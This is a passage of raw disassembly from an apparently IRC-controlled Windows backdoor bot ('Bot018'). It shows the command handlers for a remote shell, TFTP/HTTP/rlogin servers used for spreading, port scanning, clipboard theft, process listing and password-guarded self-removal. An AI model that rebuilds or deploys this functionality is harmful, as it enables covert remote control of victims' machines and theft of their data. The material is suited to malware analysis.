loc_40B5CE:				; CODE XREF: sub_4078FA+3A52j
		add	[ebp+var_1C], 0Bh
		mov	eax, [ebp+var_1C]
		cmp	byte ptr [eax],	0
		jnz	loc_40B301
		jmp	loc_407B7B
; ---------------------------------------------------------------------------


loc_40B5E3:				; CODE XREF: sub_4078FA+3CF7j
		push	32h
		call	ds:dword_41F000	; Sleep


loc_40B5EB:				; CODE XREF: sub_4078FA+3C89j
		cmp	[ebp+var_4B4], esi
		jz	short loc_40B5E3
		jmp	short loc_40B5A0
; ---------------------------------------------------------------------------


loc_40B5F5:				; CODE XREF: sub_4078FA+3AF0j
		lea	eax, [ebp+var_2E0]
		push	offset aScanFailedTo_1 ; "[SCAN]: Failed to start scan,	port is	i"...
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx
		jmp	loc_40CA03
; ---------------------------------------------------------------------------


loc_40B60D:				; CODE XREF: sub_4078FA+1830j
					; sub_4078FA+1844j
		push	5
		call	sub_4110DA
		test	eax, eax
		pop	ecx
		jle	short loc_40B631
		push	offset aTftpAlreadyRun ; "[TFTP]: Already running."


loc_40B61E:				; CODE XREF: sub_4078FA+4E26j
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_412BB5
		xor	edi, edi
		jmp	loc_40C8BE
; ---------------------------------------------------------------------------


loc_40B631:				; CODE XREF: sub_4078FA+3D1Dj
		mov	eax, [ebp+ebx+var_A0]
		xor	edi, edi
		cmp	eax, edi
		mov	esi, 104h
		jz	short loc_40B656
		push	eax
		lea	eax, [ebp+var_74C]
		push	esi
		push	eax
		call	sub_412E0D
		add	esp, 0Ch
		jmp	short loc_40B665
; ---------------------------------------------------------------------------


loc_40B656:				; CODE XREF: sub_4078FA+3D47j
		push	esi
		lea	eax, [ebp+var_74C]
		push	eax
		push	edi
		call	ds:dword_41F010	; GetModuleFileNameA


loc_40B665:				; CODE XREF: sub_4078FA+3D5Aj
		mov	ebx, [ebp+ebx+var_9C]
		cmp	ebx, edi
		jnz	short loc_40B675
		mov	ebx, offset byte_42AED0


loc_40B675:				; CODE XREF: sub_4078FA+3D74j
		push	ebx
		lea	eax, [ebp+var_648]
		push	esi
		push	eax
		call	sub_412E0D
		mov	eax, dword_42AE44
		mov	[ebp+var_53C], eax
		mov	eax, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_9C]
		mov	[ebp+var_750], eax
		lea	eax, [ebp+var_538]
		push	eax
		mov	[ebp+var_540], edi
		call	sub_412C40
		mov	eax, [ebp+var_4]
		mov	[ebp+var_4B8], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_4B4], eax
		lea	eax, [ebp+var_648]
		push	eax
		lea	eax, [ebp+var_74C]
		push	eax
		push	[ebp+var_53C]
		lea	eax, [ebp+var_2E0]
		push	offset aTftpServerStar ; "[TFTP]: Server started on Port: %d, Fil"...
		push	eax
		call	sub_412BB5
		push	edi
		lea	eax, [ebp+var_2E0]
		push	5
		push	eax
		call	sub_410EEA
		add	esp, 38h
		mov	[ebp+var_544], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		lea	eax, [ebp+var_750]
		push	eax
		push	offset sub_410A22
		push	edi
		push	edi
		call	ds:dword_41F00C	; CreateThread
		mov	ecx, [ebp+var_544]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43434C[ecx], eax
		jnz	short loc_40B757
		call	ds:dword_41F008	; RtlGetLastWin32Error
		push	eax
		push	offset aTftpFailedTo_0 ; "[TFTP]: Failed to start server thread, "...


loc_40B73B:				; CODE XREF: sub_4078FA+4F9Cj
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		jmp	loc_40C8C0
; ---------------------------------------------------------------------------


loc_40B74F:				; CODE XREF: sub_4078FA+3E63j
		push	32h
		call	ds:dword_41F000	; Sleep


loc_40B757:				; CODE XREF: sub_4078FA+3E33j
		cmp	[ebp+var_4B0], edi
		jz	short loc_40B74F
		jmp	loc_40C8C0
; ---------------------------------------------------------------------------


loc_40B764:				; CODE XREF: sub_4078FA+1808j
					; sub_4078FA+181Cj
		mov	esi, [ebp+ebx+var_A0]
		test	esi, esi
		jz	short loc_40B783
		push	esi
		call	sub_412F42
		test	eax, eax
		pop	ecx
		jz	short loc_40B783
		push	esi
		call	sub_412F42
		pop	ecx
		jmp	short loc_40B788
; ---------------------------------------------------------------------------


loc_40B783:				; CODE XREF: sub_4078FA+3E73j
					; sub_4078FA+3E7Ej
		mov	eax, dword_42AE48


loc_40B788:				; CODE XREF: sub_4078FA+3E87j
		mov	ebx, [ebp+ebx+var_9C]
		mov	[ebp+var_C24], eax
		xor	eax, eax
		cmp	[ebp+var_448], al
		setz	al
		xor	edi, edi
		cmp	ebx, edi
		mov	[ebp+var_C10], eax
		jz	short loc_40B7BD
		lea	eax, [ebp+var_D28]
		push	ebx
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx
		jmp	short loc_40B7E8
; ---------------------------------------------------------------------------


loc_40B7BD:				; CODE XREF: sub_4078FA+3EB0j
		push	104h
		lea	eax, [ebp+var_B74]
		push	eax
		call	ds:dword_41F040	; GetSystemDirectoryA
		push	edi
		push	edi
		push	edi
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_B74]
		push	eax
		call	sub_4141AD
		add	esp, 14h


loc_40B7E8:				; CODE XREF: sub_4078FA+3EC1j
		lea	eax, [ebp+var_D28]
		lea	edx, [eax+1]


loc_40B7F1:				; CODE XREF: sub_4078FA+3EFCj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40B7F1
		sub	eax, edx
		cmp	[ebp+eax+var_D29], 5Ch
		jnz	short loc_40B81D
		lea	eax, [ebp+var_D28]
		lea	edx, [eax+1]


loc_40B80D:				; CODE XREF: sub_4078FA+3F18j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40B80D
		sub	eax, edx
		and	[ebp+eax+var_D29], cl


loc_40B81D:				; CODE XREF: sub_4078FA+3F08j
		push	[ebp+var_9C]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_FB0]
		push	80h
		push	eax
		mov	[ebp+var_FB4], esi
		call	sub_412E0D
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_C14], eax
		lea	eax, [ebp+var_D28]
		push	eax
		push	[ebp+var_C24]
		mov	[ebp+var_C18], ebx
		push	esi
		call	sub_406C33
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aHttpdServerLis ; "[HTTPD]: Server listening on IP: %s:%d,"...
		push	eax
		call	sub_412BB5
		push	edi
		lea	eax, [ebp+var_2E0]
		push	4
		push	eax
		call	sub_410EEA
		add	esp, 20h
		mov	[ebp+var_C1C], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		lea	eax, [ebp+var_FB4]
		push	eax
		push	offset sub_403E06
		push	edi
		push	edi
		call	ds:dword_41F00C	; CreateThread
		mov	ecx, [ebp+var_C1C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43434C[ecx], eax
		jnz	short loc_40B8D8
		call	ds:dword_41F008	; RtlGetLastWin32Error
		push	eax
		push	offset aHttpdFailedT_1 ; "[HTTPD]: Failed to start server thread,"...
		jmp	loc_40A005
; ---------------------------------------------------------------------------


loc_40B8D0:				; CODE XREF: sub_4078FA+3FE4j
		push	32h
		call	ds:dword_41F000	; Sleep


loc_40B8D8:				; CODE XREF: sub_4078FA+3FC3j
		cmp	[ebp+var_C08], edi
		jz	short loc_40B8D0
		jmp	loc_40A014
; ---------------------------------------------------------------------------


loc_40B8E5:				; CODE XREF: sub_4078FA+17E0j
					; sub_4078FA+17F4j
		mov	esi, [ebp+ebx+var_A0]
		test	esi, esi
		jz	short loc_40B904
		push	esi
		call	sub_412F42
		test	eax, eax
		pop	ecx
		jz	short loc_40B904
		push	esi
		call	sub_412F42
		pop	ecx
		jmp	short loc_40B909
; ---------------------------------------------------------------------------


loc_40B904:				; CODE XREF: sub_4078FA+3FF4j
					; sub_4078FA+3FFFj
		mov	eax, dword_42AE4C


loc_40B909:				; CODE XREF: sub_4078FA+4008j
		mov	[ebp+var_890], eax
		mov	eax, [ebp+ebx+var_9C]
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_40B922
		lea	eax, [ebp+var_E0]


loc_40B922:				; CODE XREF: sub_4078FA+4020j
		push	eax
		lea	eax, [ebp+var_9D0]
		push	40h
		push	eax
		call	sub_412E0D
		mov	ebx, [ebp+ebx+var_98]
		add	esp, 0Ch
		cmp	ebx, edi
		jnz	short loc_40B944
		mov	ebx, 41FA76h


loc_40B944:				; CODE XREF: sub_4078FA+4043j
		push	ebx
		lea	eax, [ebp+var_990]
		push	100h
		push	eax
		call	sub_412E0D
		push	[ebp+var_9C]
		lea	eax, [ebp+var_A50]
		push	80h
		push	eax
		call	sub_412E0D
		mov	eax, [ebp+var_C]
		mov	esi, [ebp+arg_4]
		mov	ebx, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_87C], eax
		lea	eax, [ebp+var_9D0]
		push	eax
		push	[ebp+var_890]
		mov	[ebp+var_A54], esi
		push	esi
		mov	[ebp+var_880], ebx
		call	sub_406C33
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aRlogindServerL ; "[RLOGIND]: Server listening on IP: %s:%"...
		push	eax
		call	sub_412BB5
		push	edi
		lea	eax, [ebp+var_2E0]
		push	7
		push	eax
		call	sub_410EEA
		add	esp, 20h
		mov	[ebp+var_88C], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		lea	eax, [ebp+var_A54]
		push	eax
		push	offset sub_40E219
		push	edi
		push	edi
		call	ds:dword_41F00C	; CreateThread
		mov	ecx, [ebp+var_88C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43434C[ecx], eax
		jnz	short loc_40BA11
		call	ds:dword_41F008	; RtlGetLastWin32Error
		push	eax
		push	offset aRlogindFailedT ; "[RLOGIND]: Failed to start server threa"...
		jmp	loc_40A005
; ---------------------------------------------------------------------------


loc_40BA09:				; CODE XREF: sub_4078FA+411Dj
		push	32h
		call	ds:dword_41F000	; Sleep


loc_40BA11:				; CODE XREF: sub_4078FA+40FCj
		cmp	[ebp+var_878], edi
		jz	short loc_40BA09
		jmp	loc_40A014
; ---------------------------------------------------------------------------


loc_40BA1E:				; CODE XREF: sub_4078FA+17B8j
					; sub_4078FA+17CCj
		mov	ebx, [ebp+ebx+var_A0]
		test	ebx, ebx
		jz	short loc_40BA31
		push	ebx
		call	sub_412F42
		jmp	short loc_40BA38
; ---------------------------------------------------------------------------


loc_40BA31:				; CODE XREF: sub_4078FA+412Dj
		push	9
		call	sub_4110F9


loc_40BA38:				; CODE XREF: sub_4078FA+4135j
		test	eax, eax
		pop	ecx
		jz	loc_40CFE2
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4010CA
		jmp	loc_40BF27
; ---------------------------------------------------------------------------


loc_40BA58:				; CODE XREF: sub_4078FA+1790j
					; sub_4078FA+17A4j
		mov	eax, dword_433584
		test	eax, eax
		jz	short loc_40BA7B
		call	eax	; DnsFlushResolverCache
		test	eax, eax
		lea	eax, [ebp+var_2E0]
		jz	short loc_40BA74
		push	offset aFlushdnsDnsCac ; "[FLUSHDNS]: DNS cache	flushed."
		jmp	short loc_40BA9C
; ---------------------------------------------------------------------------


loc_40BA74:				; CODE XREF: sub_4078FA+4171j
		push	offset aFlushdnsFailed ; "[FLUSHDNS]: Failed to	flush DNS cache."
		jmp	short loc_40BA9C
; ---------------------------------------------------------------------------


loc_40BA7B:				; CODE XREF: sub_4078FA+4165j
		push	offset aFlushdnsFail_0 ; "[FLUSHDNS]: Failed to	load dnsapi.dll."
		lea	eax, [ebp+var_2E0]
		jmp	short loc_40BA9C
; ---------------------------------------------------------------------------


loc_40BA88:				; CODE XREF: sub_4078FA+1768j
					; sub_4078FA+177Cj
		call	sub_406B55
		test	eax, eax
		lea	eax, [ebp+var_2E0]
		jz	short loc_40BAAC
		push	offset aFlushdnsArpC_0 ; "[FLUSHDNS]: ARP cache	flushed."


loc_40BA9C:				; CODE XREF: sub_4078FA+4178j
					; sub_4078FA+417Fj ...
		push	200h
		push	eax
		call	sub_412E0D
		jmp	loc_40C3B3
; ---------------------------------------------------------------------------


loc_40BAAC:				; CODE XREF: sub_4078FA+419Bj
		push	offset aFlushdnsFail_1 ; "[FLUSHDNS]: Failed to	flush ARP cache."
		jmp	short loc_40BA9C
; ---------------------------------------------------------------------------


loc_40BAB3:				; CODE XREF: sub_4078FA+1740j
					; sub_4078FA+1754j
		cmp	[ebp+var_C], 0
		jnz	short loc_40BAD4
		push	0
		push	[ebp+var_4]
		push	offset aClipboardData ;	"-[Clipboard Data]-"
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4045DD
		add	esp, 14h


loc_40BAD4:				; CODE XREF: sub_4078FA+41BDj
		push	0
		push	[ebp+var_4]
		call	sub_405792
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4045DD
		push	offset aMainGetClipboa ; "[MAIN]: Get Clipboard."
		jmp	loc_40BDF0
; ---------------------------------------------------------------------------


loc_40BAF7:				; CODE XREF: sub_4078FA+13B1j
					; sub_4078FA+13C5j
		push	8
		call	sub_4110DA
		test	eax, eax
		pop	ecx
		jle	short loc_40BB0D
		push	offset aCmdRemoteShell ; "[CMD]: Remote	shell already running."
		jmp	loc_40B1A8
; ---------------------------------------------------------------------------


loc_40BB0D:				; CODE XREF: sub_4078FA+4207j
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_40DDC6
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jnz	short loc_40BB2C
		push	offset aCmdCouldnTOpen ; "[CMD]: Couldn't open remote shell."
		jmp	loc_40B1A8
; ---------------------------------------------------------------------------


loc_40BB2C:				; CODE XREF: sub_4078FA+4226j
		push	offset aCmdRemoteShe_0 ; "[CMD]: Remote	shell ready."
		jmp	loc_40B1A8
; ---------------------------------------------------------------------------


loc_40BB36:				; CODE XREF: sub_4078FA+1389j
					; sub_4078FA+139Dj
		push	[ebp+var_C]
		push	[ebp+var_4]
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_405277
		jmp	loc_40BE11
; ---------------------------------------------------------------------------


loc_40BB4F:				; CODE XREF: sub_4078FA+1361j
					; sub_4078FA+1375j
		push	[ebp+ebx+var_A0]
		push	[ebp+var_4]
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_402717
		jmp	loc_40BE11
; ---------------------------------------------------------------------------


loc_40BB6C:				; CODE XREF: sub_4078FA+1339j
					; sub_4078FA+134Dj
		or	esi, 0FFFFFFFFh
		call	ds:dword_41F004	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, [ebp+ebx+var_A0]
		test	ebx, ebx
		mov	edi, eax
		jz	short loc_40BB94
		push	ebx
		call	sub_412F42
		pop	ecx
		mov	esi, eax


loc_40BB94:				; CODE XREF: sub_4078FA+428Fj
		xor	edx, edx
		mov	eax, edi
		mov	ecx, 15180h
		div	ecx
		cmp	eax, esi
		jnb	short loc_40BBAC
		cmp	esi, 0FFFFFFFFh
		jnz	loc_40CFE2


loc_40BBAC:				; CODE XREF: sub_4078FA+42A7j
		push	0
		call	sub_40FD16
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aMainUptimeS_ ; "[MAIN]:	Uptime:	%s."
		push	eax
		call	sub_412BB5
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2E0]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4045DD
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_401C33


loc_40BBEB:				; CODE XREF: sub_4078FA+2412j
		add	esp, 28h
		jmp	loc_40CFE2
; ---------------------------------------------------------------------------


loc_40BBF3:				; CODE XREF: sub_4078FA+1311j
					; sub_4078FA+1325j
		push	1Fh
		call	sub_4110DA
		test	eax, eax
		pop	ecx
		jle	short loc_40BC29
		cmp	[ebp+var_C], 0
		jnz	loc_407B7B
		push	0
		push	[ebp+var_4]
		push	offset aProcAlreadyRun ; "[PROC]: Already running."


loc_40BC13:				; CODE XREF: sub_4078FA+1F21j
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4045DD
		add	esp, 14h
		jmp	loc_407B7B
; ---------------------------------------------------------------------------


loc_40BC29:				; CODE XREF: sub_4078FA+4303j
		push	[ebp+var_9C]
		lea	eax, [ebp+var_440]
		push	80h
		push	eax
		call	sub_412E0D
		mov	eax, [ebp+arg_4]
		mov	ebx, [ebp+ebx+var_A0]
		and	[ebp+var_3BC], 0
		mov	[ebp+var_444], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3B8], eax
		mov	eax, [ebp+var_C]
		add	esp, 0Ch
		test	ebx, ebx
		mov	[ebp+var_3B4], eax
		jz	short loc_40BC8A
		push	5
		mov	edi, ebx
		mov	esi, offset aFull ; "full"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_40BC8A
		mov	[ebp+var_3BC], 1


loc_40BC8A:				; CODE XREF: sub_4078FA+4374j
					; sub_4078FA+4384j
		lea	eax, [ebp+var_2E0]
		push	offset aProcsProccessL ; "[PROCS]: Proccess list."
		push	eax
		call	sub_412BB5
		xor	esi, esi
		push	esi
		lea	eax, [ebp+var_2E0]
		push	1Fh
		push	eax
		call	sub_410EEA
		add	esp, 14h
		mov	[ebp+var_3C0], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_444]
		push	eax
		push	offset sub_4073FB
		push	esi
		push	esi
		call	ds:dword_41F00C	; CreateThread
		mov	ecx, [ebp+var_3C0]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43434C[ecx], eax
		jnz	short loc_40BD0C
		call	ds:dword_41F008	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aProcsFailedToS ; "[PROCS]: Failed to start listing thread"...
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		jmp	loc_40ABEA
; ---------------------------------------------------------------------------


loc_40BD04:				; CODE XREF: sub_4078FA+4418j
		push	32h
		call	ds:dword_41F000	; Sleep


loc_40BD0C:				; CODE XREF: sub_4078FA+43E8j
		cmp	[ebp+var_3B0], esi
		jz	short loc_40BD04
		jmp	loc_40ABEA
; ---------------------------------------------------------------------------


loc_40BD19:				; CODE XREF: sub_4078FA+12E9j
					; sub_4078FA+12FDj
		mov	ebx, [ebp+ebx+var_A0]
		test	ebx, ebx
		jz	loc_407B7B
		mov	esi, ebx
		mov	eax, offset aN3m3s1s ; "n3m3s1s"


loc_40BD2F:				; CODE XREF: sub_4078FA+4451j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_40BD51
		test	cl, cl
		jz	short loc_40BD4D
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_40BD51
		inc	eax
		inc	eax
		inc	esi
		inc	esi
		test	cl, cl
		jnz	short loc_40BD2F


loc_40BD4D:				; CODE XREF: sub_4078FA+443Fj
		xor	eax, eax
		jmp	short loc_40BD56
; ---------------------------------------------------------------------------


loc_40BD51:				; CODE XREF: sub_4078FA+443Bj
					; sub_4078FA+4449j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_40BD56:				; CODE XREF: sub_4078FA+4455j
		test	eax, eax
		jnz	loc_407B7B
		cmp	[ebp+var_C], eax
		jnz	short loc_40BD7D
		push	eax
		push	[ebp+var_4]
		push	offset aMainRemovingBo ; "[MAIN]: Removing Bot."
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4045DD
		add	esp, 14h


loc_40BD7D:				; CODE XREF: sub_4078FA+4467j
		push	[ebp+arg_4]
		call	dword_4335AC	; closesocket
		call	dword_4335B8	; WSACleanup
		call	sub_405915
		jmp	loc_40C4C6
; ---------------------------------------------------------------------------


loc_40BD96:				; CODE XREF: sub_4078FA+12C1j
					; sub_4078FA+12D5j
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2E0]
		push	[ebp+arg_4]
		push	eax
		call	sub_40FE1F
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4045DD
		push	offset aMainSystemInfo ; "[MAIN]: System Info."
		jmp	short loc_40BDF0
; ---------------------------------------------------------------------------


loc_40BDC2:				; CODE XREF: sub_4078FA+1299j
					; sub_4078FA+12ADj
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2E0]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_410086
		add	esp, 0Ch
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4045DD
		push	offset aMainNetworkInf ; "[MAIN]: Network Info."


loc_40BDF0:				; CODE XREF: sub_4078FA+41F8j
					; sub_4078FA+44C6j
		call	sub_401C33


loc_40BDF5:				; CODE XREF: sub_4078FA+3006j
		add	esp, 18h
		jmp	loc_40CFE2
; ---------------------------------------------------------------------------


loc_40BDFD:				; CODE XREF: sub_4078FA+1271j
					; sub_4078FA+1285j
		push	[ebp+var_C]
		push	[ebp+var_4]
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_401CD3


loc_40BE11:				; CODE XREF: sub_4078FA+1E2j
					; sub_4078FA+4250j ...
		add	esp, 10h
		jmp	loc_407B7B
; ---------------------------------------------------------------------------


loc_40BE19:				; CODE XREF: sub_4078FA+1249j
					; sub_4078FA+125Dj
		and	[ebp+var_B00], 0
		cmp	[ebp+var_14], 0
		jz	short loc_40BE5A
		mov	ebx, [ebp+ebx+var_A0]
		test	ebx, ebx
		jz	short loc_40BE5A
		push	ebx
		push	[ebp+var_14]
		call	sub_413920
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40BE5A
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp+var_B00]
		push	80h
		push	eax
		call	sub_412E0D
		add	esp, 10h


loc_40BE5A:				; CODE XREF: sub_4078FA+452Aj
					; sub_4078FA+4535j ...
		push	[ebp+var_9C]
		lea	eax, [ebp+var_B80]
		push	80h
		push	eax
		call	sub_412E0D
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_B84], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_A7C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_A78], eax
		lea	eax, [ebp+var_2E0]
		push	offset aLogListingLog_ ; "[LOG]: Listing log."
		push	eax
		call	sub_412BB5
		xor	esi, esi
		push	esi
		lea	eax, [ebp+var_2E0]
		push	1Dh
		push	eax
		call	sub_410EEA
		add	esp, 20h
		mov	[ebp+var_A80], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_B84]
		push	eax
		push	offset sub_401D45
		push	esi
		push	esi
		call	ds:dword_41F00C	; CreateThread
		mov	ecx, [ebp+var_A80]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43434C[ecx], eax
		jnz	short loc_40BEFF
		call	ds:dword_41F008	; RtlGetLastWin32Error
		push	eax
		push	offset aLogFailedToSta ; "[LOG]: Failed	to start listing thread, "...
		jmp	loc_40D19B
; ---------------------------------------------------------------------------


loc_40BEF7:				; CODE XREF: sub_4078FA+460Bj
		push	32h
		call	ds:dword_41F000	; Sleep


loc_40BEFF:				; CODE XREF: sub_4078FA+45EAj
		cmp	[ebp+var_A74], esi
		jz	short loc_40BEF7
		jmp	loc_407B7B
; ---------------------------------------------------------------------------


loc_40BF0C:				; CODE XREF: sub_4078FA+1221j
					; sub_4078FA+1235j
		push	[ebp+var_4]
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_401BBB
		push	offset aMainAliasList_ ; "[MAIN]: Alias	list."
		call	sub_401C33


loc_40BF27:				; CODE XREF: sub_4078FA+4159j
		add	esp, 10h
		jmp	loc_40CFE2
; ---------------------------------------------------------------------------


loc_40BF2F:				; CODE XREF: sub_4078FA+11F9j
					; sub_4078FA+120Dj
		push	[ebp+var_9C]
		lea	eax, [ebp+var_374]
		push	80h
		push	eax
		call	sub_412E0D
		mov	eax, [ebp+arg_4]
		mov	ebx, [ebp+ebx+var_A0]
		mov	[ebp+var_378], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_2EC], eax
		mov	eax, [ebp+var_C]
		add	esp, 0Ch
		test	ebx, ebx
		mov	[ebp+var_2E8], eax
		jz	short loc_40BF88
		push	4
		xor	eax, eax
		mov	edi, offset aSub ; "sub"
		mov	esi, ebx
		pop	ecx
		repe cmpsb
		setz	al
		mov	[ebp+var_2F0], eax
		jmp	short loc_40BF8F
; ---------------------------------------------------------------------------


loc_40BF88:				; CODE XREF: sub_4078FA+4673j
		and	[ebp+var_2F0], 0


loc_40BF8F:				; CODE XREF: sub_4078FA+468Cj
		lea	eax, [ebp+var_2E0]
		push	offset aThreadsListThr ; "[THREADS]: List threads."
		push	eax
		call	sub_412BB5
		xor	esi, esi
		push	esi
		lea	eax, [ebp+var_2E0]
		push	20h
		push	eax
		call	sub_410EEA
		add	esp, 14h
		mov	[ebp+var_2F4], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_378]
		push	eax
		push	offset sub_4111EB
		push	esi
		push	esi
		call	ds:dword_41F00C	; CreateThread
		mov	ecx, [ebp+var_2F4]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43434C[ecx], eax
		jnz	short loc_40C011
		call	ds:dword_41F008	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aThreadsFaile_0 ; "[THREADS]: Failed to start list thread,"...
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		jmp	loc_409015
; ---------------------------------------------------------------------------


loc_40C009:				; CODE XREF: sub_4078FA+471Dj
		push	32h
		call	ds:dword_41F000	; Sleep


loc_40C011:				; CODE XREF: sub_4078FA+46EDj
		cmp	[ebp+var_2E4], esi
		jz	short loc_40C009
		jmp	loc_409015
; ---------------------------------------------------------------------------


loc_40C01E:				; CODE XREF: sub_4078FA+117Fj
					; sub_4078FA+1193j
		push	offset aBot018	; "Bot018"
		lea	eax, [ebp+var_2E0]
		push	offset aMainBotIdS_ ; "[MAIN]: Bot ID: %s."
		push	eax
		call	sub_412BB5
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2E0]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4045DD
		add	esp, 20h
		jmp	loc_409015
; ---------------------------------------------------------------------------


loc_40C056:				; CODE XREF: sub_4078FA+1157j
					; sub_4078FA+116Bj
		push	dword_479BB0
		call	sub_40FD16
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aMainStatusRead ; "[MAIN]: Status: Ready. Bot Uptime: %s."
		push	eax
		call	sub_412BB5
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2E0]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4045DD
		add	esp, 24h
		jmp	loc_409015
; ---------------------------------------------------------------------------


loc_40C095:				; CODE XREF: sub_4078FA+112Fj
					; sub_4078FA+1143j
		mov	ebx, [ebp+ebx+var_A0]
		test	ebx, ebx
		jz	short loc_40C0C8
		cmp	[ebp+var_14], 0
		jz	short loc_40C0D7
		push	ebx
		push	[ebp+var_14]
		call	sub_413920
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40C0D7
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_404592
		add	esp, 0Ch
		jmp	short loc_40C0D7
; ---------------------------------------------------------------------------


loc_40C0C8:				; CODE XREF: sub_4078FA+47A4j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_404592
		pop	ecx
		pop	ecx


loc_40C0D7:				; CODE XREF: sub_4078FA+47AAj
					; sub_4078FA+47B9j ...
		push	0FFFFFFFEh
		pop	eax
		jmp	loc_407B7E
; ---------------------------------------------------------------------------


loc_40C0DF:				; CODE XREF: sub_4078FA+1107j
					; sub_4078FA+111Bj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_404592
		push	offset aMainDisconnect ; "[MAIN]: Disconnecting."
		call	sub_401C33
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_407B7E
; ---------------------------------------------------------------------------


loc_40C101:				; CODE XREF: sub_4078FA+10DFj
					; sub_4078FA+10F3j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_404592
		push	offset aMainReconnecti ; "[MAIN]: Reconnecting."
		call	sub_401C33
		add	esp, 0Ch
		xor	eax, eax
		jmp	loc_407B7E
; ---------------------------------------------------------------------------


loc_40C122:				; CODE XREF: sub_4078FA+10B7j
					; sub_4078FA+10CBj
		push	[ebp+var_4]
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_401000


loc_40C133:				; CODE XREF: sub_4078FA+2F6Dj
		add	esp, 0Ch
		jmp	loc_40CFE2
; ---------------------------------------------------------------------------


loc_40C13B:				; CODE XREF: sub_4078FA+1017j
					; sub_4078FA+102Bj
		push	[ebp+ebx+var_A0]
		push	1Fh
		push	offset aProcessList ; "Process list"
		push	offset aProc	; "[PROC]"


loc_40C14E:				; CODE XREF: sub_4078FA+E54j
					; sub_4078FA+E7Cj ...
		push	[ebp+var_C]
		push	[ebp+var_4]
